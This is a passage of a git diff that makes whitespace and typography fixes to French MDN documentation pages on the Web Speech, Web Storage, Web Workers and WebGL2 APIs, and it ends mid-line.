-Pour montrer une simple utilisation de la reconnaissance vocale Web speech, nous avons écrit une demo appelée [Speech color changer](https://github.com/mdn/web-speech-api/tree/master/speech-color-changer). Quand l'écran est touché ou cliqué, vous pouvez dire un mot clé de couleur HTML et la couleur d'arrière plan de l'application sera modifié par la couleur choisie. +Pour montrer une simple utilisation de la reconnaissance vocale Web speech, nous avons écrit une demo appelée [Speech color changer](https://github.com/mdn/web-speech-api/tree/master/speech-color-changer). Quand l'écran est touché ou cliqué, vous pouvez dire un mot clé de couleur HTML et la couleur d'arrière plan de l'application sera modifié par la couleur choisie. Pour lancer la demo, vous pouvez cloner (ou [directement télécharger](https://github.com/mdn/web-speech-api/archive/master.zip)) le dépôt Github dont elle fait partie, ouvrir le fichier d'index HTML dans un navigateur pour ordinateur de bureau le supportant comme Chrome, ou naviguer vers [l'URL de démonstration live](https://mdn.github.io/web-speech-api/speech-color-changer/), sur un navigateur pour mobile le supportant comme Chrome. @@ -134,10 +134,10 @@ Once the speech recognition is started, there are many event handlers that can b ```js recognition.onresult = function(event) { - var color = event.results[0][0].transcript; - diagnostic.textContent = 'Result received: ' + color + '.'; - bg.style.backgroundColor = color; - console.log('Confidence: ' + event.results[0][0].confidence); + var color = event.results[0][0].transcript; + diagnostic.textContent = 'Result received: ' + color + '.'; + bg.style.backgroundColor = color; + console.log('Confidence: ' + event.results[0][0].confidence); } ``` @@ -179,13 +179,13 @@ The Web Speech API has a main controller interface for this — {{domxref("Speec To show simple usage of Web speech synthesis, we've provided a demo called [Speak easy synthesis](https://mdn.github.io/web-speech-api/speak-easy-synthesis/). This includes a set of form controls for entering text to be synthesised, and setting the pitch, rate, and voice to use when the text is uttered. After you have entered your text, you can press <kbd>Enter</kbd>/<kbd>Return</kbd> to hear it spoken. -To run the demo, you can clone (or [directly download](https://github.com/mdn/web-speech-api/archive/master.zip)) the Github repo it is part of, open the HTML index file in a supporting desktop browser, or navigate to the [live demo URL](https://mdn.github.io/web-speech-api/speak-easy-synthesis/) in a supporting mobile browser like Chrome, or Firefox OS. +To run the demo, you can clone (or [directly download](https://github.com/mdn/web-speech-api/archive/master.zip)) the Github repo it is part of, open the HTML index file in a supporting desktop browser, or navigate to the [live demo URL](https://mdn.github.io/web-speech-api/speak-easy-synthesis/) in a supporting mobile browser like Chrome, or Firefox OS. ### Browser support Support for Web Speech API speech synthesis is still getting there across mainstream browsers, and is currently limited to the following: -- Firefox desktop and mobile support it in Gecko 42+ (Windows)/44+, without prefixes, and it can be turned on by flipping the `media.webspeech.synth.enabled` flag to `true` in `about:config`. +- Firefox desktop and mobile support it in Gecko 42+ (Windows)/44+, without prefixes, and it can be turned on by flipping the `media.webspeech.synth.enabled` flag to `true` in `about:config`. - Firefox OS 2.5+ supports it, by default, and without the need for any permissions. - Chrome for Desktop and Android have supported it since around version 33, without prefixes. diff --git a/files/fr/web/api/web_storage_api/index.md b/files/fr/web/api/web_storage_api/index.md index 33dc7e8518..32a10b50b2 100644 --- a/files/fr/web/api/web_storage_api/index.md +++ b/files/fr/web/api/web_storage_api/index.md @@ -12,31 +12,31 @@ translation_of: Web/API/Web_Storage_API --- {{DefaultAPISidebar("Web Storage API")}} -L'API **Web Storage** fournit des mécanismes par lesquels les navigateurs peuvent stocker des paires clé / valeur, d'une manière beaucoup plus intuitive que l'utilisation de cookies. +L'API **Web Storage** fournit des mécanismes par lesquels les navigateurs peuvent stocker des paires clé / valeur, d'une manière beaucoup plus intuitive que l'utilisation de cookies. ## Web Storage, concepts et utilisations -Les deux mécanismes au sein du web storage sont les suivantes: +Les deux mécanismes au sein du web storage sont les suivantes: - `sessionStorage` maintient une zone de stockage distinct pour chaque origine donnée qui est disponible pour la durée de la session de la page (tant que le navigateur est ouvert, y compris les rechargements et restaure) - `localStorage` fait la même chose, mais persiste même lorsque le navigateur est fermé et rouvert. -Ces mécanismes sont disponibles via les propriétés {{domxref("Window.sessionStorage")}} et {{domxref("Window.localStorage")}} (pour être plus précis, pour le support des navigateurs, l'objet `Window` implemente le `WindowLocalStorage` et l'object `WindowSessionStorage`, dont les propriétés `localStorage` et `sessionStorage` dépendent) — L'appel de l'une de ces propriétés va créer une instance de l'objet {{domxref("Storage")}}, à travers de laquelle les éléments de données peuvent être définis, récupérés et éliminés. Un objet de stockage différent est utilisé pour le sessionStorage et le localStorage pour chaque origine — ils fonctionnent et sont contrôlés séparément. +Ces mécanismes sont disponibles via les propriétés {{domxref("Window.sessionStorage")}} et {{domxref("Window.localStorage")}} (pour être plus précis, pour le support des navigateurs, l'objet `Window` implemente le `WindowLocalStorage` et l'object `WindowSessionStorage`, dont les propriétés `localStorage` et `sessionStorage` dépendent) — L'appel de l'une de ces propriétés va créer une instance de l'objet {{domxref("Storage")}}, à travers de laquelle les éléments de données peuvent être définis, récupérés et éliminés. Un objet de stockage différent est utilisé pour le sessionStorage et le localStorage pour chaque origine — ils fonctionnent et sont contrôlés séparément. > **Note :** À partir de Firefox 45, lorsque le navigateur se bloque / redémarre, la quantité de données sauvegardées par origine est limitée à 10 Mo. Cela a été mis en place pour éviter les problèmes de mémoire causés par une utilisation excessive du stockage Web. -> **Note :** L'accès au Web Storage à partir d'iframes externes est interdit si l'utilisateur a [désactivé les cookies tierce-partie](https://support.mozilla.org/en-US/kb/disable-third-party-cookies) (Firefox a adopté ce comportement à partir de la [version 43](/en-US/docs/Mozilla/Firefox/Releases/43) et suivantes.) +> **Note :** L'accès au Web Storage à partir d'iframes externes est interdit si l'utilisateur a [désactivé les cookies tierce-partie](https://support.mozilla.org/en-US/kb/disable-third-party-cookies) (Firefox a adopté ce comportement à partir de la [version 43](/en-US/docs/Mozilla/Firefox/Releases/43) et suivantes.) > **Note :** Le <i lang="en">Web Storage</i> n'est pas identique au `mozStorage` (interfaces XPCOM de Mozilla vers SQLite) ou l'API <i lang="en">Session Store</i> (un utilitaire de stockage XPCOM utilisable par des extensions). ## Web Storage interfaces - {{domxref("Storage")}} - - : Vous permet d'ajouter, modifier, lire ou supprimer des données pour un domaine et un type de stockage (session ou local) donnés. + - : Vous permet d'ajouter, modifier, lire ou supprimer des données pour un domaine et un type de stockage (session ou local) donnés. - {{domxref("Window")}} - - : L'API Web Storage dérive de l'objet {{domxref("Window")}} avec 2 nouvelles propriétés — {{domxref("Window.sessionStorage")}} et {{domxref("Window.localStorage")}} — lesquelles donnent accès, pour le domaine courant, aux objets session et local {{domxref("Storage")}} respectivement. + - : L'API Web Storage dérive de l'objet {{domxref("Window")}} avec 2 nouvelles propriétés — {{domxref("Window.sessionStorage")}} et {{domxref("Window.localStorage")}} — lesquelles donnent accès, pour le domaine courant, aux objets session et local {{domxref("Storage")}} respectivement. - {{domxref("StorageEvent")}} - - : L'événement `storage` est déclenché sur l'objet `Window` du document en cas de changement dans un espace de stockage. + - : L'événement `storage` est déclenché sur l'objet `Window` du document en cas de changement dans un espace de stockage. ## Exemples @@ -70,4 +70,4 @@ Les développeuses et développeurs doivent connaître ces différentes impléme - [Utiliser l'API Web Storage](/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API) - [Limites de stockage du navigateur et critères d'éviction](/fr/docs/Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria) -- [HTML5 Storage API By Venkatraman](https://medium.com/@ramsunvtech/onfocus-html5-storage-apis-b45d92aa424b) +- [HTML5 Storage API By Venkatraman](https://medium.com/@ramsunvtech/onfocus-html5-storage-apis-b45d92aa424b) diff --git a/files/fr/web/api/web_storage_api/using_the_web_storage_api/index.md b/files/fr/web/api/web_storage_api/using_the_web_storage_api/index.md index f4ee6b207c..22b63937ad 100644 --- a/files/fr/web/api/web_storage_api/using_the_web_storage_api/index.md +++ b/files/fr/web/api/web_storage_api/using_the_web_storage_api/index.md @@ -9,7 +9,7 @@ tags: - localStorage translation_of: Web/API/Web_Storage_API/Using_the_Web_Storage_API --- -L'API "Web Storage" fournit des mécanismes par lesquels les navigateurs web peuvent stocker des paires de clé-valeur, d'une manière plus intuitive qu'en utilisant des cookies. Cet article décrit pas à pas comment se servir de cette technologie facile d'utilisation. +L'API "Web Storage" fournit des mécanismes par lesquels les navigateurs web peuvent stocker des paires de clé-valeur, d'une manière plus intuitive qu'en utilisant des cookies. Cet article décrit pas à pas comment se servir de cette technologie facile d'utilisation. ## Concepts de base @@ -21,14 +21,14 @@ localStorage['colorSetting'] = '#a4509b'; localStorage.setItem('colorSetting', '#a4509b'); ``` -> **Note :** Il est recommandé d'utiliser l'API "Web Storage" (`setItem`, `getItem`, `removeItem`, `key`, `length`) pour prévenir les [embûches](http://www.2ality.com/2012/01/objects-as-maps.html) associées à l'utilisation d'objets capable de stocker des couples clé-valeur. +> **Note :** Il est recommandé d'utiliser l'API "Web Storage" (`setItem`, `getItem`, `removeItem`, `key`, `length`) pour prévenir les [embûches](http://www.2ality.com/2012/01/objects-as-maps.html) associées à l'utilisation d'objets capable de stocker des couples clé-valeur. Les deux principaux mécanismes internes du Stockage Web sont : - **`sessionStorage`** qui maintient un espace de stockage, séparé pour chaque origine différente, disponible le temps de la session de la page (tant que le navigateur reste lancé, incluant les rechargements de la page et les restaurations). - **`localStorage`** qui tient le même rôle mais persiste même après le redémarrage du navigateur web. -Ces mécanismes sont disponibles via les propriétés {{domxref("Window.sessionStorage")}} et {{domxref("Window.localStorage")}} (plus précisément, dans les navigateurs web le supportant, l'objet `Window` implémente les objets `WindowLocalStorage` et `WindowSessionStorage`, sur lesquels les propriétés `localStorage` et `sessionStorage` se basent) — l'appel d'un des deux va créer une instance de l'objet {{domxref("Storage")}}, dans lequel des données pourront être ajoutées, récupérées et supprimées. Pour `sessionStorage` et `localStorage`, un objet de stockage différent est utilisé pour chaque origine — ils fonctionnent et sont contrôlés séparément. +Ces mécanismes sont disponibles via les propriétés {{domxref("Window.sessionStorage")}} et {{domxref("Window.localStorage")}} (plus précisément, dans les navigateurs web le supportant, l'objet `Window` implémente les objets `WindowLocalStorage` et `WindowSessionStorage`, sur lesquels les propriétés `localStorage` et `sessionStorage` se basent) — l'appel d'un des deux va créer une instance de l'objet {{domxref("Storage")}}, dans lequel des données pourront être ajoutées, récupérées et supprimées. Pour `sessionStorage` et `localStorage`, un objet de stockage différent est utilisé pour chaque origine — ils fonctionnent et sont contrôlés séparément. Donc, par exemple, un appel initial de `localStorage` sur un document va retourner un objet {{domxref("Storage")}} ; un appel de `sessionStorage` sur un document va retourner un objet {{domxref("Storage")}} différent. Les deux peuvent se manipuler de la même façon, mais séparément. @@ -85,7 +85,7 @@ Vous pouvez retrouver ici [une brève histoire de la détection de localStorage] ## Un exemple simple -Pour illustrer certains usages typiques du Stockage Web, nous avons créé un exemple simple ingénieusement appelé **Web Storage Demo**. La [page de lancement](https://mdn.github.io/dom-examples/web-storage/) fournit des contrôles afin de personnaliser la couleur, la police de caractère et l'image de décoration: +Pour illustrer certains usages typiques du Stockage Web, nous avons créé un exemple simple ingénieusement appelé **Web Storage Demo**. La [page de lancement](https://mdn.github.io/dom-examples/web-storage/) fournit des contrôles afin de personnaliser la couleur, la police de caractère et l'image de décoration:  @@ -137,7 +137,7 @@ Ici, les trois premières lignes vont chercher les valeurs dans le stockage loca ## Enregistrer une valeur dans le stockage -{{domxref("Storage.setItem()")}} est aussi bien utilisée pour la création d'une donnée, que pour la modification d'une donnée existante (si cette donnée existe déja). Elle prend deux arguments — la clé de l'élément à créer/modifier, et la valeur associée à stocker. +{{domxref("Storage.setItem()")}} est aussi bien utilisée pour la création d'une donnée, que pour la modification d'une donnée existante (si cette donnée existe déja). Elle prend deux arguments — la clé de l'élément à créer/modifier, et la valeur associée à stocker. ```js function populateStorage() { diff --git a/files/fr/web/api/web_workers_api/functions_and_classes_available_to_workers/index.md b/files/fr/web/api/web_workers_api/functions_and_classes_available_to_workers/index.md index 4569d01aa5..876ac1fc52 100644 --- a/files/fr/web/api/web_workers_api/functions_and_classes_available_to_workers/index.md +++ b/files/fr/web/api/web_workers_api/functions_and_classes_available_to_workers/index.md @@ -18,7 +18,7 @@ En plus de l'ensemble des fonctions standard [JavaScript](/en-US/docs/Web/JavaSc <td class="header">Workers partagés</td> <td class="header">Service workers</td> <td class="header">Chrome workers {{Non-standard_inline}}</td> - <td class="header">En dehors des workers</td> + <td class="header">En dehors des workers</td> </tr> <tr> <td>{{domxref("WindowBase64.atob", "atob()")}}</td> diff --git a/files/fr/web/api/web_workers_api/index.md b/files/fr/web/api/web_workers_api/index.md index c8ee4c3ff1..1bff3ddeef 100644 --- a/files/fr/web/api/web_workers_api/index.md +++ b/files/fr/web/api/web_workers_api/index.md @@ -18,14 +18,14 @@ Vous pouvez exécuter quelque code que ce soit à l'intérieur du thread du work Les données sont envoyées entre les workers et le thread principal au moyen d'un sytème de messages — des deux côtés les messages sont envoyés en utilisant la méthode `postMessage()`, et la réponse leur parvient au moyen du gestionnaire d'événement `onmessage` (le message est contenu dans l'attribut `data` de l'événement {{event("Message")}}.) Les données sont copiées plutôt que partagées. -Les workers peuvent à leur tour engendrer de nouveaux workers, aussi longtemps que ces workers partagent la même origine que la page parente. De plus, les workers peuvent utiliser [`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) pour les E/S réseau, à l'exception que les attributs `responseXML` et `channel` de `XMLHttpRequest` retournent toujours `null`. +Les workers peuvent à leur tour engendrer de nouveaux workers, aussi longtemps que ces workers partagent la même origine que la page parente. De plus, les workers peuvent utiliser [`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) pour les E/S réseau, à l'exception que les attributs `responseXML` et `channel` de `XMLHttpRequest` retournent toujours `null`. En plus des workers dédiés, il y a d'autres types de worker : - Les workers partagés sont des workers qui peuvent être utilisés par de multiples scripts s'exécutant dans différentes fenêtres, IFrames, etc., aussi longtemps qu'ils sont dans le même domaine que le worker. Leur fonctionnement est un petit plus complexe que les workers dédiés — les scripts doivent communiquer via un port actif. Consultez {{domxref("SharedWorker")}} pour plus de détails. - Les [ServiceWorkers](/en-US/docs/Web/API/ServiceWorker_API) fonctionnent essentiellement comme des serveurs proxy placés entre des applications web, et le navigateur et le réseau (lorsque disponibles). Ils sont destinés (entre autres choses) à permettre la création de véritables expériences déconnectées, interceptant les requêtes du réseau et prenant des décisions appropriées en fonction de la disponibilité du réseau et de la mise à jours des ressources situées sur le serveur. Ils permettront aussi d'accéder à des notifications poussées (push) et à des APIs synchronisées en arrière-plan. - Les Workers Chrome sont un type de worker spécifique à Firefox que vous pouvez utiliser si vous développez des extensions et que vous voulez y utiliser des workers et avoir accès aux [js-ctypes](/fr/docs/Mozilla/js-ctypes) dans votre worker. Consulter {{domxref("ChromeWorker")}} pour plus de détails. -- Les [Audio Workers](/fr/docs/Web/API/Web_Audio_API#Audio_Workers) donne la possibilité d'effectuer directement dans le contexte d'un worker web un traitement audio scripté. +- Les [Audio Workers](/fr/docs/Web/API/Web_Audio_API#Audio_Workers) donne la possibilité d'effectuer directement dans le contexte d'un worker web un traitement audio scripté. > **Note :** Selon les [Spécifications de Web Worker](https://html.spec.whatwg.org/multipage/workers.html#runtime-script-errors-2), les erreurs dans les workers ne devraient pas déborder (voir {{bug(1188141)}}). Cela a été implémenté dans Firefox 42. diff --git a/files/fr/web/api/web_workers_api/structured_clone_algorithm/index.md b/files/fr/web/api/web_workers_api/structured_clone_algorithm/index.md index 6129b8598f..ee5e07025b 100644 --- a/files/fr/web/api/web_workers_api/structured_clone_algorithm/index.md +++ b/files/fr/web/api/web_workers_api/structured_clone_algorithm/index.md @@ -10,7 +10,7 @@ L’algorithme, essentiellement, parcourt tous les champs de l’objet original, ## Avantages par rapport à JSON -Il y a quelques avantages notables à utiliser l’algorithme de clonage structuré plutôt que JSON : +Il y a quelques avantages notables à utiliser l’algorithme de clonage structuré plutôt que JSON : - Le clonage structuré peut copier des objets [`RegExp`](/en/JavaScript/Reference/Global_Objects/RegExp). - Le clonage structuré peut copier des objets {{ domxref("Blob") }}, {{ domxref("File") }} et {{ domxref("FileList") }}. @@ -19,9 +19,9 @@ Il y a quelques avantages notables à utiliser l’algorithme de clonage structu ## Ce qui ne marche pas avec le clonage structuré -- Les objets [`Error`](/en/JavaScript/Reference/Global_Objects/Error) et [`Function`](/en/JavaScript/Reference/Global_Objects/Function) ne peuvent pas être copiés par l’algorithme de clonage structuré ; toute tentative de le faire émettra une exception `DATA_CLONE_ERR`. +- Les objets [`Error`](/en/JavaScript/Reference/Global_Objects/Error) et [`Function`](/en/JavaScript/Reference/Global_Objects/Function) ne peuvent pas être copiés par l’algorithme de clonage structuré ; toute tentative de le faire émettra une exception `DATA_CLONE_ERR`. - De la même manière, toute tentative de cloner des nœuds DOM émettra une exception `DATA_CLONE_ERR`. -- Certains paramètres d’objets ne sont pas préservés : +- Certains paramètres d’objets ne sont pas préservés : - Le champ `lastIndex` des objets [`RegExp`](/en/JavaScript/Reference/Global_Objects/RegExp) n’est pas préservé. - Les descripteurs de propriétés, accesseurs et mutateurs (ainsi que les fonctionnalités de métadonnées similaires) ne sont pas copiés. Par exemple, si un objet est marqué en lecture seule _via_ un descripteur de propriété, il sera en lecture et écriture dans le clone, car c’est la condition par défaut. @@ -32,22 +32,22 @@ Il y a quelques avantages notables à utiliser l’algorithme de clonage structu | Type d’objet | Notes | | ----------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | | [Tous types primitifs](/en-US/docs/Web/JavaScript/Data_structures#Primitive_values) | À l’exception des symboles | -| Objet [Booléen](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean) | | -| Objet String | | -| [Date](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date) | | +| Objet [Booléen](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean) | | +| Objet String | | +| [Date](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date) | | | [RegExp](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) | Le champ `lastIndex` n’est pas préservé | -| {{ domxref("Blob") }} | | -| {{ domxref("File") }} | | -| {{ domxref("FileList") }} | | -| [ArrayBuffer](/en-US/docs/Web/API/ArrayBuffer) | | +| {{ domxref("Blob") }} | | +| {{ domxref("File") }} | | +| {{ domxref("FileList") }} | | +| [ArrayBuffer](/en-US/docs/Web/API/ArrayBuffer) | | | [ArrayBufferView](/en-US/docs/Web/API/ArrayBufferView) | Ce qui implique tous les [tableaux typés](/en-US/docs/Web/JavaScript/Typed_arrays) tels que `Int32Array`, etc. | -| {{ domxref("ImageData") }} | | -| [Array](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array) | | +| {{ domxref("ImageData") }} | | +| [Array](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array) | | | [Object](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object) | Inclut seulement les objets plats (par ex. depuis un objet littéral) | -| [Map](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) | | -| [Set](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) | | +| [Map](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) | | +| [Set](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) | | -## Alternative : copie profonde +## Alternative : copie profonde Si vous voulez une **copie profonde** d’un objet (c’est-à-dire une copie récursive de toutes les propriétés imbriquées, en parcourant la chaîne des prototypes), vous devez employer une autre approche. Ce qui suit est un exemple possible. @@ -87,7 +87,7 @@ function clone(objectToBeCloned) { ## Voir aussi -- [Spécification HTML5 : Passage sécurisé de données structurées](http://www.w3.org/TR/html5/infrastructure.html#safe-passing-of-structured-data) +- [Spécification HTML5 : Passage sécurisé de données structurées](http://www.w3.org/TR/html5/infrastructure.html#safe-passing-of-structured-data) - {{ domxref("window.history") }} - {{ domxref("window.postMessage()") }} - [Web Workers](/en-US/docs/Web/API/Web_Workers_API) diff --git a/files/fr/web/api/web_workers_api/using_web_workers/index.md b/files/fr/web/api/web_workers_api/using_web_workers/index.md index a6ed47d385..73b70bd9dd 100644 --- a/files/fr/web/api/web_workers_api/using_web_workers/index.md +++ b/files/fr/web/api/web_workers_api/using_web_workers/index.md @@ -21,7 +21,7 @@ Le contexte du _worker_ est représenté par un objet {{domxref("DedicatedWorker > **Note :** Voir [la page d'entrée pour l'API Web Workers](/fr/docs/Web/API/Web_Workers_API) pour consulter la documentation de référence sur les _workers_ et d'autres guides. -Il est possible d'exécuter n'importe quel code JavaScript dans le _thread_ du _worker_, à l'exception des méthodes de manipulation du DOM ou de certaines propriétés et méthodes rattachées à {{domxref("window")}}. On notera cependant qu'on peut tout à fait utiliser certaines API rendues disponibles via `window` comme les [WebSockets](/fr/docs/Web/API/WebSockets_API), les API de stockage de données telles que [IndexedDB](/fr/docs/Web/API/API_IndexedDB). Pour plus de détails, voir [les fonctions et classes disponibles au sein des _workers_](/fr/docs/Web/API/Worker/Functions_and_classes_available_to_workers). +Il est possible d'exécuter n'importe quel code JavaScript dans le _thread_ du _worker_, à l'exception des méthodes de manipulation du DOM ou de certaines propriétés et méthodes rattachées à {{domxref("window")}}. On notera cependant qu'on peut tout à fait utiliser certaines API rendues disponibles via `window` comme les [WebSockets](/fr/docs/Web/API/WebSockets_API), les API de stockage de données telles que [IndexedDB](/fr/docs/Web/API/API_IndexedDB). Pour plus de détails, voir [les fonctions et classes disponibles au sein des _workers_](/fr/docs/Web/API/Worker/Functions_and_classes_available_to_workers). Les données sont échangées entre le _thread_ du _worker_ et le _thread_ principal par l'intermédiaire de messages. Chaque partie peut envoyer des messages à l'aide de la méthode `postMessage()` et réagir aux messages reçus grâce au gestionnaire d'évènement `onmessage` (le message sera contenu dans l'attribut `data` de l'évènement {{event("Message")}} associé). Les données sont copiées dans le message, elles ne sont pas partagées. @@ -124,7 +124,7 @@ L'évènement décrivant l'erreur possède notamment trois propriétés intéres ### Initier des _workers_ fils -Les _workers_ peuvent également engendrer d'autres _workers_. Ces _workers_-fils doivent être hébergés sur la même origine que la page initiale. De plus, les URI des workers-fils sont résolues relativement à l'emplacement du _worker_ père (plutôt que par rapport à la page parente). Ces contraintes permettent de simplifier le suivi des dépendances. +Les _workers_ peuvent également engendrer d'autres _workers_. Ces _workers_-fils doivent être hébergés sur la même origine que la page initiale. De plus, les URI des workers-fils sont résolues relativement à l'emplacement du _worker_ père (plutôt que par rapport à la page parente). Ces contraintes permettent de simplifier le suivi des dépendances. ### Importer des scripts et des bibliothèques @@ -490,7 +490,7 @@ La plupart des fonctionnalités JavaScript standard peuvent être utilisées dan En revanche, un _worker_ ne pourra pas directement manipuler la page parente et notamment le DOM et les objets de la page. Il faudra effectuer ce traitement indirectement, via des messages. -> **Note :** Pour avoir une liste exhaustive des fonctionnalités disponibles pour les _workers_, voir [les fonctions et interfaces disponibles pour les _workers_](/fr/docs/Web/API/Worker/Functions_and_classes_available_to_workers). +> **Note :** Pour avoir une liste exhaustive des fonctionnalités disponibles pour les _workers_, voir [les fonctions et interfaces disponibles pour les _workers_](/fr/docs/Web/API/Worker/Functions_and_classes_available_to_workers). ## Spécifications diff --git a/files/fr/web/api/webgl2renderingcontext/index.md b/files/fr/web/api/webgl2renderingcontext/index.md index 4ed7247a1b..3bac29da27 100644 --- a/files/fr/web/api/webgl2renderingcontext/index.md +++ b/files/fr/web/api/webgl2renderingcontext/index.md @@ -31,7 +31,7 @@ Voir la page des [constantes WebGL](/fr-FR/docs/Web/API/WebGL_API/Constants). ## Informations d'état - {{domxref("WebGL2RenderingContext.getIndexedParameter()")}} - - : Retourne la valeur indexée pour la `cible` donnée. + - : Retourne la valeur indexée pour la `cible` donnée. ## Tampons @@ -47,7 +47,7 @@ Voir la page des [constantes WebGL](/fr-FR/docs/Web/API/WebGL_API/Constants). ## Tampons d'image - {{domxref("WebGL2RenderingContext.blitFramebuffer()")}} - - : Transfère un bloc de pixels du tampon d'image lu vers le tampon d'image de dessin. + - : Transfère un bloc de pixels du tampon d'image lu vers le tampon d'image de dessin. - {{domxref("WebGL2RenderingContext.framebufferTextureLayer()")}} - : Attache une seule couche de texture à un tampon d'image. - {{domxref("WebGL2RenderingContext.invalidateFramebuffer()")}} @@ -62,7 +62,7 @@ Voir la page des [constantes WebGL](/fr-FR/docs/Web/API/WebGL_API/Constants). - {{domxref("WebGL2RenderingContext.getInternalformatParameter()")}} - : Retourne des informations sur le support, dépendant de l'implémentation, des formats internes. - {{domxref("WebGL2RenderingContext.renderbufferStorageMultisample()")}} - - : Crée et initialise le magasin de données d'un objet tampon de rendu et permet de d'indiquer le nombre d'échantillons à utiliser. + - : Crée et initialise le magasin de données d'un objet tampon de rendu et permet de d'indiquer le nombre d'échantillons à utiliser. ## Textures @@ -81,12 +81,12 @@ Voir la page des [constantes WebGL](/fr-FR/docs/Web/API/WebGL_API/Constants). - {{domxref("WebGL2RenderingContext.compressedTexSubImage3D()")}} - : Spécifie un sous-rectangle tridimensionnel pour une image de texture dans un format compressé. -## Programmes et shaders +## Programmes et shaders - {{domxref("WebGL2RenderingContext.getFragDataLocation()")}} - - : Retourne la liaison des numéros de couleur aux variables de sortie varying définies par l'utilisateur. + - : Retourne la liaison des numéros de couleur aux variables de sortie varying définies par l'utilisateur. -## Uniforms et attributs +## Uniforms et attributs - {{domxref("WebGL2RenderingContext.uniform()", "WebGL2RenderingContext.uniform[1234][uif][v]()")}} - : Méthodes spécifiant les valeurs des variables uniform. @@ -102,11 +102,11 @@ Voir la page des [constantes WebGL](/fr-FR/docs/Web/API/WebGL_API/Constants). - {{domxref("WebGL2RenderingContext.vertexAttribDivisor()")}} - : Modifie la vitesse à laquelle les attributs de sommet génériques progressent lors du rendu de plusieurs instances de primitives avec {{domxref ("WebGL2RenderingContext.drawArraysInstanced()", "gl.drawArraysInstanced()")}} et {{domxref("WebGL2RenderingContext.drawElementsInstanced()" , "gl.drawElementsInstanced()")}}. - {{domxref("WebGL2RenderingContext.drawArraysInstanced()")}} - - : Affiche des primitives à partir des données d'un tableau. En outre, elle peut exécuter plusieurs instances de la plage d'éléments. + - : Affiche des primitives à partir des données d'un tableau. En outre, elle peut exécuter plusieurs instances de la plage d'éléments. - {{domxref("WebGL2RenderingContext.drawElementsInstanced()")}} - - : Affiche des primitives à partir des données d'un tableau. En outre, elle peut exécuter plusieurs instances d'un ensemble d'éléments. + - : Affiche des primitives à partir des données d'un tableau. En outre, elle peut exécuter plusieurs instances d'un ensemble d'éléments. - {{domxref("WebGL2RenderingContext.drawRangeElements()")}} - - : Affiche des primitives à partir des données d'un tableau dans la plage donnée. + - : Affiche des primitives à partir des données d'un tableau dans la plage donnée. - {{domxref("WebGL2RenderingContext.drawBuffers()")}} - : Spécifie une liste de tampons de couleur dans lesquels dessiner. - {{domxref("WebGL2RenderingContext.clearBuffer()", "WebGL2RenderingContext.clearBuffer[fiuv]()")}} @@ -127,7 +127,7 @@ Méthodes pour travailler avec les objets {{domxref("WebGLQuery")}}. - {{domxref("WebGL2RenderingContext.endQuery()")}} - : Marque la fin d'une requête asynchrone. - {{domxref("WebGL2RenderingContext.getQuery()")}} - - : Retourne un objet {{domxref("WebGLQuery")}} pour la cible donnée. + - : Retourne un objet {{domxref("WebGLQuery")}} pour la cible donnée. - {{domxref("WebGL2RenderingContext.getQueryParameter()")}} - : Retourne des informations sur une requête. @@ -138,7 +138,7 @@ Méthodes pour travailler avec les objets {{domxref("WebGLQuery")}}. - {{domxref("WebGL2RenderingContext.deleteSampler()")}} - : Supprime l'objet {{domxref("WebGLSampler")}} donné. - {{domxref("WebGL2RenderingContext.bindSampler()")}} - - : Lie le {{domxref("WebGLSampler")}} donné à une unité de texture. + - : Lie le {{domxref("WebGLSampler")}} donné à une unité de texture. - {{domxref("WebGL2RenderingContext.isSampler()")}} - : Retourne `true` si l'objet donné est un objet {{domxref("WebGLSampler")}} valide. - {{domxref("WebGL2RenderingContext.samplerParameter()", "WebGL2RenderingContext.samplerParameter[if]()")}} @@ -155,7 +155,7 @@ Méthodes pour travailler avec les objets {{domxref("WebGLQuery")}}. - {{domxref("WebGL2RenderingContext.deleteSync()")}} - : Supprime l'objet {{domxref("WebGLSync")}} donné. - {{domxref("WebGL2RenderingContext.clientWaitSync()")}} - - : Bloque et attend qu'un objet {{domxref ("WebGLSync")}} reçoive un signal ou que l'expiration du délai donné soit reçue. + - : Bloque et attend qu'un objet {{domxref ("WebGLSync")}} reçoive un signal ou que l'expiration du délai donné soit reçue. - {{domxref("WebGL2RenderingContext.waitSync()")}} - : Retourne immédiatement, mais attend le serveur GL jusqu'à ce que l'objet {{domxref("WebGLSync")}} donné reçoive un signal. - {{domxref("WebGL2RenderingContext.getSyncParameter()")}} @@ -182,12 +182,12 @@ Méthodes pour travailler avec les objets {{domxref("WebGLQuery")}}. - {{domxref("WebGL2RenderingContext.pauseTransformFeedback()")}} - : Suspend une opération de retour de transformations. - {{domxref("WebGL2RenderingContext.resumeTransformFeedback()")}} - - : Reprend une opération de retour de transformations. + - : Reprend une opération de retour de transformations. ## Objets tampons uniforms - {{domxref("WebGL2RenderingContext.bindBufferBase()")}} - - : Lie le {{domxref("WebGLBuffer")}} donné au point de liaison donné (`cible`) à l'`indice` donné. + - : Lie le {{domxref("WebGLBuffer")}} donné au point de liaison donné (`cible`) à l'`indice` donné. - {{domxref("WebGL2RenderingContext.bindBufferRange()")}} - : Lie une plage du {{domxref("WebGLBuffer")}} donné au point de liaison donné (`cible`) à l'`indice` donné. - {{domxref("WebGL2RenderingContext.getUniformIndices()")}} @@ -210,7 +210,7 @@ Méthodes pour travailler avec les objets {{domxref("WebGLVertexArrayObject")}} - {{domxref("WebGL2RenderingContext.createVertexArray()")}} - : Crée un nouveau {{domxref("WebGLVertexArrayObject")}}. - {{domxref("WebGL2RenderingContext.deleteVertexArray()")}} - - : Supprime le {{domxref("WebGLVertexArrayObject")}} donné. + - : Supprime le 